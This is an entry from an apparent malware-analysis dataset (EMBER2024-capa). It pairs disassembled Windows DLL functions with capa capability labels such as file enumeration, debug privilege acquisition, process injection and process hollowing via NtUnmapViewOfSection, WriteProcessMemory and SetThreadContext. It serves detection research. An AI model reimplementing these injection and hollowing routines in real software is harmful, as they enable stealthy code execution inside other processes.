joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007aa0
Capabilities:
Check if file exists
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
sub rsp, 0x2a0
xor esi, esi
mov rbx, rcx
mov rbp, rdx
lea rcx, [rsp + 0x54]
xor edx, edx
mov r8d, 0x24c
mov dword [rsp + 0x30], esi
mov edi, esi
mov dword [rsp + 0x34], esi
mov dword [rsp + 0x50], esi
call fcn.18002d6f0
or rcx, 0xffffffffffffffff
inc rcx
cmp word [rbx + rcx*2], si
jne 0x180007ae5
add rcx, 5
cmp dword [rsp + 0x2d8], 0x20
jg 0x180007cf2
cmp rcx, 0x8000
jae 0x180007cf2
mov edx, 2
call fcn.18002cde4
mov qword [rsp + 0x40], rax
test rax, rax
je 0x180007cf2
lea r8, str._s.
mov r9, rbx
mov edx, 0x8000
mov rcx, rax
call fcn.18002efd8
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea rcx, [0x180045088]
mov rdx, rbx
mov qword [rsp + 0x38], rax
call fcn.1800060e0
cmp qword [rsp + 0x38], 0xffffffffffffffff
je 0x180007cc5
nop dword [rax]
test byte [rsp + 0x50], 0x10
je 0x180007c64
cmp dword [rbp + 0x10], 0
je 0x180007c94
movzx ecx, word [rsp + 0x7c]
movzx eax, word [rsp + 0x7e]
cmp cx, word [0x1800441e8]
jne 0x180007ba5
cmp ax, word [0x1800441ea]
je 0x180007c94
cmp cx, word [0x1800441b0]
jne 0x180007bcc
cmp ax, word [0x1800441b2]
jne 0x180007bcc
movzx eax, word [rsp + 0x80]
cmp ax, word [0x1800441b4]
je 0x180007c94
or rax, 0xffffffffffffffff
cmp word [rbx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x180007bd0
lea rdx, [rsp + 0x7c]
or rcx, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rdx + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x180007bf0
lea rsi, [rax + rcx]
mov edx, 2
lea rcx, [rsi + 0x20]
call fcn.18002cde4
mov rdi, rax
test rax, rax
je 0x180007c8c
lea rax, [rsp + 0x7c]
lea r8, [0x1800441f0]
lea rdx, [rsi + 0x20]
mov r9, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.18002efd8
mov r9d, dword [rsp + 0x2d8]
mov r8, qword [rsp + 0x2d0]
inc r9d
mov rdx, rbp
mov rcx, rdi
call fcn.180007aa0
mov rcx, rdi
mov esi, eax
mov dword [rsp + 0x30], eax
call fcn.18002ce28
jmp 0x180007c90
test edi, edi
jne 0x180007c94
mov r8, qword [rsp + 0x2d0]
mov rdx, rbp
mov rcx, rbx
call fcn.180007940
mov edi, 1
mov esi, eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x34], edi
jmp 0x180007c94
mov esi, dword [rsp + 0x30]
mov edi, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180007b70
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x40]
call fcn.18002ce28
mov eax, esi
jmp 0x180007cf4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x180007ce4
lea rcx, str._SEARCH__search_files:_FindFirstFileW_Failed.
call fcn.1800060e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [rsp + 0x40]
call fcn.18002ce28
mov eax, esi
jmp 0x180007cf4
xor eax, eax
mov rbx, qword [rsp + 0x2c0]
add rsp, 0x2a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x180007de0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, r8
mov rdi, rdx
mov r15, rcx
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [rsp + 0x58]
mov ebx, 0x61
mov ebp, eax
xor r12d, r12d
nop dword [rax]
nop word [rax + rax]
movzx r9d, bx
lea ecx, [r9 - 0x61]
movzx edx, cl
bt ebp, edx
jae 0x180007e92
xor eax, eax
lea r8, [0x1800450a0]
lea rcx, [rsp + 0x58]
lea edx, [rax + 3]
mov word [rsp + 0x58], r12w
mov dword [rsp + 0x5a], eax
call fcn.18002efd8
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
lea ecx, [rax - 3]
cmp ecx, 1
ja 0x180007e92
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x58]
mov r8d, eax
mov qword [rdi + 8], rcx
lea rcx, str._SEARCH__request_fs_search._Searching_drive__S__type_d_...
call fcn.1800060e0
mov r9, r14
mov r8, rdi
xor edx, edx
mov rcx, r15
call fcn.180007d10
mov esi, eax
inc bx
cmp bx, 0x7a
jbe 0x180007e20
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov qword [rdi + 8], r12
mov eax, esi
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret

Function at 0x180007f60
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0xa0
mov rcx, qword [rcx + 0x18]
mov rdi, rdx
xor eax, eax
lea rdx, [rsp + 0x20]
lea r8, [r11 + 0x18]
mov dword [r11 + 0x18], 0x80
mov word [r11 + 8], ax
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x180007fa3
mov eax, 0x507
add rsp, 0xa0
pop rdi
ret
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xb8], rbx
call fcn.180008030
mov rbx, rax
test rax, rax
jne 0x180007fd9
lea eax, [rbx + 0xe]
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rdi
ret
mov r8, rax
mov rax, qword [0x180061460]
mov edx, 0x105de
mov rcx, rdi
call qword [rax + 0x50]
mov rax, qword [0x180061460]
movzx r8d, word [rsp + 0xb0]
mov edx, 0x205df
mov rcx, rdi
call qword [rax + 0x58]
mov rcx, rbx
call fcn.18002ce28
mov rbx, qword [rsp + 0xb8]
xor eax, eax
add rsp, 0xa0
pop rdi
ret

Function at 0x1800080c0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x180008110
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret
Function at 0x180008790
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1800087e0
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret

Function at 0x1800090b0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x180009100
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret
Function at 0x180009b40
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x180009b90
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret

Function at 0x18000a9a0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x18000a9f0
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret

Function at 0x18000b490
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x18000b4e0
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret
Function at 0x18000b690
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x290
mov r14d, ecx
mov r13, r8
xor esi, esi
lea rcx, [rsp + 0x54]
mov ebx, 1
xor edx, edx
mov r8d, 0x234
mov r12, r9
mov edi, 6
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x50], esi
call fcn.18002d6f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
lea edx, [rdi + 0x22]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000b763
xor eax, eax
lea r8, [rsp + 0x44]
lea rdx, str.SeDebugPrivilege
mov dword [rsp + 0x4c], eax
xor ecx, ecx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x44], rax
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x18000b758
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rcx, str._SESSION__session_inject._Got_SeDebugPrivilege_
call fcn.18000b490
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.kernel32
mov qword [rsp + 0x2c0], rbp
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x18000b8a9
lea rdx, [0x180043cb0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32FirstW
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32NextW
mov rcx, r15
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rbx, rbx
je 0x18000b88d
test rbp, rbp
je 0x18000b88d
test rax, rax
je 0x18000b88d
xor edx, edx
lea ecx, [rdx + 2]
call rbx
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000b875
lea rdx, [rsp + 0x50]
mov rcx, rax
mov dword [rsp + 0x50], 0x238
call rbp
mov rbp, qword [rsp + 0x2c8]
test eax, eax
je 0x18000b87d
mov dword [rsp + 0x30], 0
mov ecx, dword [rsp + 0x58]
call fcn.18000b560
cmp r14d, eax
jne 0x18000b84e
lea rdx, str.csrss.exe
lea rcx, [rsp + 0x7c]
call fcn.18002f348
test rax, rax
jne 0x18000b84e
mov ecx, dword [rsp + 0x58]
mov r9, r12
mov r8, r13
mov rdx, rbp
call fcn.18000ea10
mov edi, eax
test eax, eax
je 0x18000b85e
lea rdx, [rsp + 0x50]
mov rcx, rbx
call rsi
test eax, eax
jne 0x18000b812
jmp 0x18000b87d
mov edx, dword [rsp + 0x58]
lea r8, [rsp + 0x7c]
lea rcx, str._SESSION__session_inject._Injected_into_process__d___s_
call fcn.18000b490
jmp 0x18000b87d
mov rbp, qword [rsp + 0x2c8]
test rbx, rbx
je 0x18000b895
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000b895
mov rbp, qword [rsp + 0x2c8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [rsp + 0x30], 0
jne 0x18000b8b1
mov eax, edi
jmp 0x18000b8c2
mov rbp, qword [rsp + 0x2c8]
mov r9, r12
mov r8, r13
mov rdx, rbp
mov ecx, r14d
call fcn.18000b8f0
mov rbp, qword [rsp + 0x2c0]
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000c2b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resume thread
Terminate process

Disassembly:
push rbx
push rbp
push r12
push r14
sub rsp, 0x58
mov eax, 0x5a4d
xor ebx, ebx
mov r14, r8
mov r12, rdx
mov rbp, rcx
cmp word [r8], ax
jne 0x18000c4af
mov eax, dword [r8 + 0x3c]
mov qword [rsp + 0x80], rsi
add eax, r8d
mov esi, eax
cmp dword [rax], 0x4550
jne 0x18000c4ab
lea edx, [rbx + 0xc]
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x1000
mov qword [rsp + 0x48], r13
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edx, [rbx + 4]
mov ecx, eax
call fcn.18000c4d0
mov rcx, r12
mov rdx, rax
mov r13, rax
mov dword [rax + 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x18000c4a7
mov rdx, qword [r13 + 0x88]
lea rax, [rsp + 0x30]
lea r9d, [rbx + 8]
lea r8, [rsp + 0x98]
mov rcx, rbp
add rdx, 0x10
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000c392
mov rdx, qword [rsp + 0x98]
mov rcx, rbp
call rax
mov r8d, dword [rsi + 0x50]
mov rdx, qword [rsi + 0x30]
mov r9d, 0x3000
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rbp
mov r15, rax
test rax, rax
je 0x18000c49b
mov r9d, dword [rsi + 0x54]
lea rax, [rsp + 0x90]
mov r8, r14
mov rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [rsi + 0x14]
cmp bx, word [rsi + 6]
jae 0x18000c42c
mov qword [rsp + 0x50], rdi
lea rdi, [rsi + 0x2c]
add rdi, rcx
mov r8d, dword [rdi]
mov edx, dword [rdi - 8]
mov r9d, dword [rdi - 4]
lea rax, [rsp + 0x90]
add r8, r14
add rdx, r15
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
inc ebx
lea rdi, [rdi + 0x28]
cmp ebx, eax
jl 0x18000c3f3
mov rdi, qword [rsp + 0x50]
mov rdx, qword [r13 + 0x88]
lea rax, [rsp + 0x90]
lea r8, [rsi + 0x30]
mov r9d, 8
mov rcx, rbp
add rdx, 0x10
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rsi + 0x28]
add rax, r15
mov rdx, r13
mov rcx, r12
mov qword [r13 + 0x80], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov r15, qword [rsp + 0x40]
mov r13, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
add rsp, 0x58
pop r14
pop r12
pop rbp
pop rbx
ret
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, ebx
jmp 0x18000c47e
mov eax, ebx
jmp 0x18000c483
mov eax, ebx
jmp 0x18000c488
mov eax, ebx
add rsp, 0x58
pop r14
pop r12
pop rbp
pop rbx
ret
Function at 0x18000cd90
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x18000cde0
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret

Function at 0x18000e740
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x18000e790
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret

Function at 0x18000f8a0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x18000f8f0
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret
Function at 0x180010920
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rbx, qword [r8]
xor esi, esi
mov r14d, r9d
mov rdi, r8
mov rbp, rcx
test dl, dl
je 0x18001096d
mov r8d, r14d
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x18001096d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800109bf
mov r8, qword [rdi]
lea rax, [rsp + 0x60]
mov r9, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180010965
mov r9d, dword [rsp + 0x70]
cmp r9d, 0x40
je 0x1800109bd
lea rax, [rsp + 0x58]
mov r8, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1800109bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
mov rbp, qword [rsp + 0x68]
mov qword [rdi], rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x1800109e0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x438
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 0x400
lea r9, str.__04x_
lea r8d, [rdx - 1]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], eax
call fcn.18002d578
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x180010a30
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov edx, 0x400
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800320dc
lea r8, [0x1800439b8]
lea rcx, [rsp + 0x30]
mov edx, 0x400
call fcn.18002d660
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.18001aa90
add rsp, 0x438
ret
Function at 0x1800117a0
Capabilities:
Query or enumerate registry key

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x180061460]
mov r15, rcx
mov rcx, rdx
mov rbp, r8
call qword [rax + 0xe0]
mov r14, rax
test rax, rax
je 0x180011925
mov qword [rsp + 0x90], rbx
mov ebx, 0x57
test rbp, rbp
je 0x180011908
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x60], r12
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov ebx, eax
test eax, eax
jne 0x180011903
mov ebx, dword [rsp + 0xa8]
mov qword [rsp + 0x98], rsi
lea edx, [rax + 2]
inc ebx
mov qword [rsp + 0x68], rdi
mov esi, r12d
mov ecx, ebx
mov dword [rsp + 0xa8], ebx
call fcn.18002cde4
mov rdi, rax
test rax, rax
jne 0x18001186f
lea ebx, [rax + 8]
jmp 0x1800118f6
mov r9d, ebx
mov r8, rax
xor edx, edx
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, eax
test eax, eax
jne 0x1800118e4
nop word [rax + rax]
mov rax, qword [0x180061460]
mov rcx, rdi
call qword [rax + 0x2e0]
mov rbx, rax
test rax, rax
je 0x1800118c6
mov r9, qword [0x180061460]
mov r8, rax
mov edx, 0x103eb
mov rcx, r14
call qword [r9 + 0x50]
mov rcx, rbx
call fcn.18002ce28
mov r9d, dword [rsp + 0xa8]
inc esi
mov r8, rdi
mov edx, esi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, eax
test eax, eax
je 0x180011890
cmp ebx, 0x103
mov rcx, rdi
cmove ebx, r12d
call fcn.18002ce28
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x98]
mov r12, qword [rsp + 0x60]
mov rax, qword [0x180061460]
mov r8, r14
mov rdx, r15
mov ecx, ebx
call qword [rax + 0xc0]
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop r15
pop r14
pop rbp
ret